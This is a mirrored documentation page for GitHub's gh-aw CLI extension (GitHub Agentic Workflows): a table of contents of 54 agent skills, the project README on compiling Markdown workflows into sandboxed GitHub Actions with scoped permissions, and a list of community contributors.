---
title: "github/gh-aw"
description: "GitHub Agentic Workflows"
source: https://github.com/github/gh-aw
ref: main
license: MIT
licenseName: "MIT License"
canonical: https://skillsdocs.com/github/gh-aw
base: https://github.com/github/gh-aw/blob/main/
provenance: mixed
chapters: 54
inlined: 54
withheld: 0
words: 32632
updated: 2026-09-24T14:23:30Z
generator: "Skills Docs"
---

> **github/gh-aw** — every Agent Skill in this repository, inlined verbatim.
>
> Canonical HTML: https://skillsdocs.com/github/gh-aw
> Per-skill Markdown: https://skillsdocs.com/github/gh-aw/<skill>.md
> Machine manifest: https://skillsdocs.com/github/gh-aw/.well-known/agent-skills/index.json
> JSON: https://skillsdocs.com/api/v1/books/github/gh-aw
> Install: `npx skills add github/gh-aw`
> Upstream: https://github.com/github/gh-aw @ `main`
> Licence: MIT
>
> Content is mirrored from GitHub and © its authors, served unmodified. Takedown: https://github.com/DreambaseAI/skillsdocs/issues/new?labels=takedown&title=Takedown+request

# github/gh-aw

GitHub Agentic Workflows

- **Skills:** 54
- **Authorship:** mixed — 27 of 54 are credited — skills in use here, not published from here
- **Inlined:** 54 (licence detected)
- **Words:** 32,632
- **Reading time:** 155 min
- **Stars:** 5,178

## Table of contents

1. [agentic-workflows](https://skillsdocs.com/github/gh-aw/agentic-workflows.md) — Route gh-aw workflow design/create/debug/upgrade requests to the right prompts.
2. [awf-release-integrator](https://skillsdocs.com/github/gh-aw/awf-release-integrator.md) — Upgrade gh-aw to latest gh-aw-firewall release and identify follow-up spec tasks.
3. [console-rendering](https://skillsdocs.com/github/gh-aw/console-rendering.md) — Use Go struct tags to render styled terminal output in gh-aw.
4. [custom-agents](https://skillsdocs.com/github/gh-aw/custom-agents.md) — Define and validate GitHub custom agent files, prompts, and examples.
5. [debugging-workflows](https://skillsdocs.com/github/gh-aw/debugging-workflows.md) — Debug gh-aw workflows using run logs, audits, and failure triage.
6. [developer](https://skillsdocs.com/github/gh-aw/developer.md) — Core developer rules and coding conventions for gh-aw changes.
7. [documentation](https://skillsdocs.com/github/gh-aw/documentation.md) — Write concise Diataxis docs for gh-aw with Starlight markdown conventions.
8. [error-messages](https://skillsdocs.com/github/gh-aw/error-messages.md) — Write consistent, actionable validation error messages in gh-aw.
9. [error-pattern-safety](https://skillsdocs.com/github/gh-aw/error-pattern-safety.md) — Apply safe error-pattern matching rules for agentic engines.
10. [gh-agent-session](https://skillsdocs.com/github/gh-aw/gh-agent-session.md) — Use gh agent-session commands to inspect and manage agent sessions.
11. [gh-agent-task](https://skillsdocs.com/github/gh-aw/gh-agent-task.md) — Use gh agent-task commands to create, run, and monitor agent tasks.
12. [github-copilot-agent-tips-and-tricks](https://skillsdocs.com/github/gh-aw/github-copilot-agent-tips-and-tricks.md) — Practical tips for reviewing and improving Copilot agent PRs.
13. [github-discussion-query](https://skillsdocs.com/github/gh-aw/github-discussion-query.md) — Query GitHub discussions with jq filtering and reusable selectors.
14. [github-issue-query](https://skillsdocs.com/github/gh-aw/github-issue-query.md) — Query GitHub issues with jq filtering and reusable selectors.
15. [github-mcp-server](https://skillsdocs.com/github/gh-aw/github-mcp-server.md) — Reference for GitHub MCP server tools, methods, and usage patterns.
16. [github-pr-query](https://skillsdocs.com/github/gh-aw/github-pr-query.md) — Query GitHub pull requests with jq filtering and reusable selectors.
17. [github-script](https://skillsdocs.com/github/gh-aw/github-script.md) — Write robust JavaScript for GitHub Actions github-script steps.
18. [go-linters](https://skillsdocs.com/github/gh-aw/go-linters.md) — Add and validate custom Go analysis linters in gh-aw.
19. [javascript-refactoring](https://skillsdocs.com/github/gh-aw/javascript-refactoring.md) — Split large JavaScript files into maintainable modules safely.
20. [jqschema](https://skillsdocs.com/github/gh-aw/jqschema.md) — Infer JSON structure and types with jq-based schema discovery.
21. [messages](https://skillsdocs.com/github/gh-aw/messages.md) — Add new safe-output message types and wire validation/rendering.
22. [otel-queries](https://skillsdocs.com/github/gh-aw/otel-queries.md) — Analyze gh-aw OpenTelemetry traces from JSONL mirrors or OTLP backends.
23. [pr-to-go-linter](https://skillsdocs.com/github/gh-aw/pr-to-go-linter.md) — Generate a new pkg/linters analyzer from a merged or open PR pattern.
24. [reporting](https://skillsdocs.com/github/gh-aw/reporting.md) — Format reports with HTML details/summary blocks for readable output.
25. [ssl-skill-normalizer](https://skillsdocs.com/github/gh-aw/ssl.md) — Normalize SKILL.md artifacts into Scheduling-Structural-Logical (SSL) JSON representations using a conservative multi-pass extraction pipeline.
26. [temporary-id-safe-output](https://skillsdocs.com/github/gh-aw/temporary-id-safe-output.md) — Add temporary ID support to safe-output jobs end to end.
27. [GitHub Agentic Workflows](https://skillsdocs.com/github/gh-aw/gh-aw.md) — GitHub Agentic Workflows (`gh-aw`) is a GitHub CLI extension for writing Agentic Workflows in markdown and compiling them to GitHub Actions.
28. [playwright-cli](https://skillsdocs.com/github/gh-aw/playwright-cli.md) — Automate browser interactions, test web pages and work with Playwright tests.
29. [checkout-credential-review](https://skillsdocs.com/github/gh-aw/checkout-credential-review.md) — Review code that performs git or gh operations against repository checkouts in gh-aw, checking that the right credentials are available at the right time and t…
30. [copilot-review](https://skillsdocs.com/github/gh-aw/copilot-review.md) — Teach Copilot how to plan, address, and respond to pull request review feedback.
31. [create-canvas](https://skillsdocs.com/github/gh-aw/create-canvas.md) — Author, validate, and debug canvas extensions that the agent can open in the GitHub Copilot app's side panel. Use when creating, reviewing, or troubleshooting…
32. [custom-engine-implementation](https://skillsdocs.com/github/gh-aw/custom-engine-implementation.md) — Add and test declarative behavior-defined agentic engines in gh-aw, extending Go infrastructure only when necessary.
33. [developer-code-organization](https://skillsdocs.com/github/gh-aw/developer-code-organization.md) — Code organization patterns, file structure guidelines, WASM build variants, and string processing conventions for gh-aw Go code.
34. [developer-internals](https://skillsdocs.com/github/gh-aw/developer-internals.md) — Internal gh-aw architecture: validation system design, safe output message patterns, schema validation, YAML compatibility notes, and MCP logs guardrail.
35. [developer-release](https://skillsdocs.com/github/gh-aw/developer-release.md) — Release management, changeset workflow, firewall log parsing, breaking CLI change rules, and Go module summaries for gh-aw.
36. [developer-security](https://skillsdocs.com/github/gh-aw/developer-security.md) — Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis inte…
37. [error-recovery-patterns](https://skillsdocs.com/github/gh-aw/error-recovery-patterns.md) — Design gh-aw error handling, retry, recovery, and debugging flows.
38. [github-labels-query](https://skillsdocs.com/github/gh-aw/github-labels-query.md) — List GitHub repository labels with per_page pagination and name filtering support.
39. [github-workflows-query](https://skillsdocs.com/github/gh-aw/github-workflows-query.md) — List GitHub Actions workflows with per_page pagination support.
40. [go-codemod](https://skillsdocs.com/github/gh-aw/go-codemod.md) — Implement and test Go codemods for the gh aw fix command.
41. [http-mcp-headers](https://skillsdocs.com/github/gh-aw/http-mcp-headers.md) — Implement secret-safe HTTP headers for MCP transport in gh-aw.
42. [open-pull-request](https://skillsdocs.com/github/gh-aw/open-pull-request.md) — Publish validated gh-aw changes as a draft pull request from a cloud agent.
43. [operational-value-designer](https://skillsdocs.com/github/gh-aw/operational-value-designer.md) — Design and verify a deterministic operational-value grader for any GitHub Agentic Workflow. Use when reasoning from workflow goals to measurable downstream out…
44. [optimize-agentic-workflow](https://skillsdocs.com/github/gh-aw/optimize-agentic-workflow.md) — Analyze and reduce token consumption in agentic workflows — guardrail-specific entry points, measurement, and optimization techniques.
45. [pr-finisher](https://skillsdocs.com/github/gh-aw/pr-finisher.md) — Prepare an open pull request for merge from a GitHub Copilot cloud agent. Drives Reviews, local validation, and Mergeable to a ready state. Does not merge, and…
46. [prompt-token-efficiency](https://skillsdocs.com/github/gh-aw/prompt-token-efficiency.md) — Rewrite prompts for minimal tokens, maximal clarity, and low ambiguity for LLM consumption.
47. [resolve-merge-conflicts](https://skillsdocs.com/github/gh-aw/resolve-merge-conflicts.md) — Merge a base ref and safely regenerate compiled workflow lock-file conflicts.
48. [restricted-tool-triage](https://skillsdocs.com/github/gh-aw/restricted-tool-triage.md) — Operate safely and efficiently inside a gh-aw workflow with a restricted tools/bash allowlist, and correctly triage tool-denial events before they exhaust the…
49. [review-agentic-workflows](https://skillsdocs.com/github/gh-aw/review-agentic-workflows.md) — Review agentic workflow changes for correctness, security posture, and optimization opportunities with compile, validation, and audit evidence.
50. [security-advisory-compat-enforcer](https://skillsdocs.com/github/gh-aw/security-advisory-compat-enforcer.md) — Review a GitHub security advisory and safely update .github/aw/compat.json with evidence-backed version enforcement.
51. [sergo-examples](https://skillsdocs.com/github/gh-aw/sergo-examples.md) — Optional Sergo examples for cache formats and reporting templates.
52. [skillz-integration](https://skillsdocs.com/github/gh-aw/skillz-integration.md) — Run and integrate Skillz MCP server with Docker for skill execution.
53. [workflow-step-summaries](https://skillsdocs.com/github/gh-aw/workflow-step-summaries.md) — Write clear GitHub Actions step summaries with progressive disclosure.
54. [{skill-name}](https://skillsdocs.com/github/gh-aw/templates.md) — {what this skill teaches agents}


## Front matter

_The repository README, verbatim except that relative links are resolved against https://github.com/github/gh-aw/blob/main/._

# GitHub Agentic Workflows

<details>
<summary>Agent quick links</summary>

Hello fellow agent! Welcome to GitHub Agentic Workflows = Actions + Agent + Safety.
Here are some pointers to get you started in using this tool.

- Create a new workflow: https://raw.githubusercontent.com/github/gh-aw/main/create.md
- Install: https://raw.githubusercontent.com/github/gh-aw/main/install.md
- Package a workflow repository: https://raw.githubusercontent.com/github/gh-aw/main/package.md
- Reference: https://raw.githubusercontent.com/github/gh-aw/main/.github/aw/github-agentic-workflows.md

</details>

GitHub Agentic Workflows (`gh-aw`) lets developers define AI-powered repository automation in Markdown with YAML frontmatter and run AI agents securely through GitHub Actions. The `gh-aw` GitHub CLI extension compiles each agentic workflow into a standard GitHub Actions workflow.

Use conventional GitHub Actions for deterministic builds, tests, linting, deployments, and reproducible scripts. Add an agentic workflow when a task needs reasoning or interpretation, such as issue triage, pull-request review, CI failure investigation, documentation maintenance, dependency analysis, or repository reporting. GitHub Agentic Workflows complements existing CI/CD; it does not replace it.

Built-in AI engines include GitHub Copilot, Claude Code, OpenAI Codex, Google Gemini, and Pi. Agent jobs are read-only and sandboxed by default, and configured GitHub writes are normally applied through validated `safe-outputs` jobs with scoped permissions.


## Contents

- [Quick Start](#quick-start)
- [How Agentic Workflows work](#how-github-agentic-workflows-works)
- [Security and permissions](#security-and-permissions)
- [Documentation](#documentation)
- [Contributing](#contributing)
- [Community Contributions](#-community-contributions)
- [Related Projects](#related-projects)
- [Workshop](#workshop)

> [!NOTE]
> A [security vulnerability](https://github.com/github/gh-aw/security/advisories/GHSA-8h78-hpm7-29gg) was discovered in versions `>= 0.83.3, < 0.85.4` and, as a result, those releases were retired as a pre-emptive measure.

## Quick Start

Install the GitHub CLI extension:

```bash
gh extension install github/gh-aw
```

Then follow the [GitHub Agentic Workflows quickstart](https://github.github.com/gh-aw/setup/quick-start/) to select an AI engine, add a sample workflow, and run it through GitHub Actions.

## How Agentic Workflows work

An agentic workflow has two parts: YAML frontmatter configures triggers, permissions, tools, and the AI engine; the Markdown body tells the AI agent what to accomplish. The `gh aw compile` command validates this source and generates the `.lock.yml` workflow that GitHub Actions executes. [Learn how GitHub Agentic Workflows works](https://github.github.com/gh-aw/introduction/how-they-work/).

## Security and permissions

Security, permissions, and controlled writes are core design concerns. The supported agent-job path defaults to read-only GitHub access and sandboxed execution. Safe outputs buffer configured writes, validate them, and apply them in separate jobs with scoped permissions. These controls are configurable, so workflow authors must review permissions, tools, network access, and generated files before deployment. [Learn how GitHub Agentic Workflows handles security and permissions](https://github.github.com/gh-aw/introduction/architecture/).

Using agentic workflows in your repository requires careful attention to security considerations and careful human supervision, and even then things can still go wrong. Use it with caution, and at your own risk.

## Documentation

Use the [GitHub Agentic Workflows documentation](https://github.github.com/gh-aw/) for these paths:

- [Create an agentic workflow](https://github.github.com/gh-aw/setup/creating-workflows/)
- [Choose and authenticate an AI engine](https://github.github.com/gh-aw/reference/engines/)
- [Browse GitHub Agentic Workflows examples by task](https://github.github.com/gh-aw/examples/)
- [Review the security architecture](https://github.github.com/gh-aw/introduction/architecture/)
- [Read the GitHub Agentic Workflows FAQ](https://github.github.com/gh-aw/reference/faq/)

For AI agents and retrieval tools, use the published [agent prompt index](https://github.github.com/gh-aw/llms.txt), [full prompt corpus](https://github.github.com/gh-aw/llms-full.txt), and [AI-readable project summary](https://github.github.com/gh-aw/ai/summary.json).

## Contributing

For development setup and contribution guidelines, see [CONTRIBUTING.md](https://github.com/github/gh-aw/blob/main/CONTRIBUTING.md).

### Custom Go linters

To build and test repository custom linters:

- `go test ./pkg/linters/<linter-name>/...`
- `go build ./cmd/linters`
- `make golint-custom`

`make golint-custom` builds `cmd/linters` and runs the custom analyzers against `./cmd/...` and `./pkg/...`.


## 🌍 Community Contributions

<sup>Community members whose issues were resolved — updated automatically.</sup>

[@a-sjogren-accenture (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aa-sjogren-accenture)
[@aaronspindler (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aaaronspindler)
[@abbottdev (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aabbottdev)
[@abillingsley (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aabillingsley)
[@adam-cobb (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aadam-cobb)
[@adamhenson (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aadamhenson)
[@adamtasteslikegood (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aadamtasteslikegood)
[@adhikjoshi (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aadhikjoshi)
[@ahmadabdalla (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aahmadabdalla)
[@ajfeldman6 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aajfeldman6)
[@akkikumar72 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aakkikumar72)
[@AkshatRaj00 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AAkshatRaj00)
[@alanpeabody (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aalanpeabody)
[@alcastaneda (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aalcastaneda)
[@AlexanderWert (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AAlexanderWert)
[@AlexDeMichieli (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AAlexDeMichieli)
[@alexsiilvaa (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aalexsiilvaa)
[@alondahari (17)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aalondahari)
[@alvistar (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aalvistar)
[@AmoebaChant (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AAmoebaChant)
[@anthonymastreanvae (11)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aanthonymastreanvae)
[@aoxiangtianyu-go (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aaoxiangtianyu-go)
[@apenab (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aapenab)
[@arabkin (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aarabkin)
[@arezero (6)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aarezero)
[@arthurfvives (8)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aarthurfvives)
[@Artur- (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AArtur-)
[@asatara (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aasatara)
[@askpaisa (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aaskpaisa)
[@askpt (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aaskpt)
[@astefan (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aastefan)
[@awoisoak (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aawoisoak)
[@b-dantas (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ab-dantas)
[@b2pacific (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ab2pacific)
[@babaakihiro (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ababaakihiro)
[@bartul (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abartul)
[@bbonafed (23)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abbonafed)
[@beardofedu (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abeardofedu)
[@benissimo (10)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abenissimo)
[@benvillalobos (12)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abenvillalobos)
[@blavity-machine-user (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ablavity-machine-user)
[@blozano-tt (9)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ablozano-tt)
[@bmerkle (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abmerkle)
[@boydj (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aboydj)
[@Bra1nFartz (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ABra1nFartz)
[@BrandonLewis (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ABrandonLewis)
[@brendanlapuma (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abrendanlapuma)
[@bryanchen-d (24)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abryanchen-d)
[@bryanknox (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abryanknox)
[@bshore-bf (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Abshore-bf)
[@Calidus (8)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ACalidus)
[@camposbrunocampos (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acamposbrunocampos)
[@carlincherry (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acarlincherry)
[@carlosflorencio (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acarlosflorencio)
[@CatsMiaow (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ACatsMiaow)
[@chepa92 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Achepa92)
[@chrisfregly (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Achrisfregly)
[@chrizbo (7)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Achrizbo)
[@CiscoRob (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ACiscoRob)
[@ckittel (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ackittel)
[@cknight (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acknight)
[@clementbolin (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aclementbolin)
[@cogni-ai-ee (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acogni-ai-ee)
[@consulthys (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aconsulthys)
[@Corb3nik (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ACorb3nik)
[@corygehr (20)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acorygehr)
[@corymhall (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acorymhall)
[@crmitchelmore (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Acrmitchelmore)
[@DaanLucas (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADaanLucas)
[@dagecko (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adagecko)
[@Daidanny008 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADaidanny008)
[@Dan-Albrecht (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADan-Albrecht)
[@Dan-Co (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADan-Co)
[@danielmeppiel (8)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adanielmeppiel)
[@danquirk (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adanquirk)
[@darwin-gonzales (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adarwin-gonzales)
[@davidahmann (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adavidahmann)
[@davidslater (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adavidslater)
[@dbudym-cs (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adbudym-cs)
[@DeagleGross (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADeagleGross)
[@devantler (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adevantler)
[@deyaaeldeen (10)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adeyaaeldeen)
[@dfrysinger (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adfrysinger)
[@dgolombek (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adgolombek)
[@dholmes (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adholmes)
[@dhrapson (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adhrapson)
[@DimaBir (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADimaBir)
[@dkurepa (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adkurepa)
[@dneimke (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adneimke)
[@DogeAmazed (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADogeAmazed)
[@Dongbumlee (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADongbumlee)
[@doughgle (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adoughgle)
[@drehelis (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adrehelis)
[@DrPye (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3ADrPye)
[@dsfaccini (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adsfaccini)
[@dsibilio (4)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adsibilio)
[@dsolteszopyn (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adsolteszopyn)
[@dsyme (39)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Adsyme)
[@duncankmckinnon (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aduncankmckinnon)
[@eaftan (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aeaftan)
[@edburns (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aedburns)
[@edgeq (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aedgeq)
[@ekbritecore (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aekbritecore)
[@elefthei (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aelefthei)
[@elika56 (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aelika56)
[@emexelem (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aemexelem)
[@enbw-mmattes (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aenbw-mmattes)
[@eran-medan (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aeran-medan)
[@ericchansen (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aericchansen)
[@ericstj (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aericstj)
[@Esomoire-consultancy-Company (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AEsomoire-consultancy-Company)
[@Etienne-M (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AEtienne-M)
[@Evangelink (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AEvangelink)
[@fbecar22 (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Afbecar22)
[@fchareyr (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Afchareyr)
[@FDevTakima (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AFDevTakima)
[@ferryhinardi (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aferryhinardi)
[@flatiron32 (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aflatiron32)
[@florianbader (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Aflorianbader)
[@fr4nc1sc0-r4m0n (3)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Afr4nc1sc0-r4m0n)
[@funkymonkeyjam (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Afunkymonkeyjam)
[@G1Vh (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AG1Vh)
[@GandrotulaRajesh (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AGandrotulaRajesh)
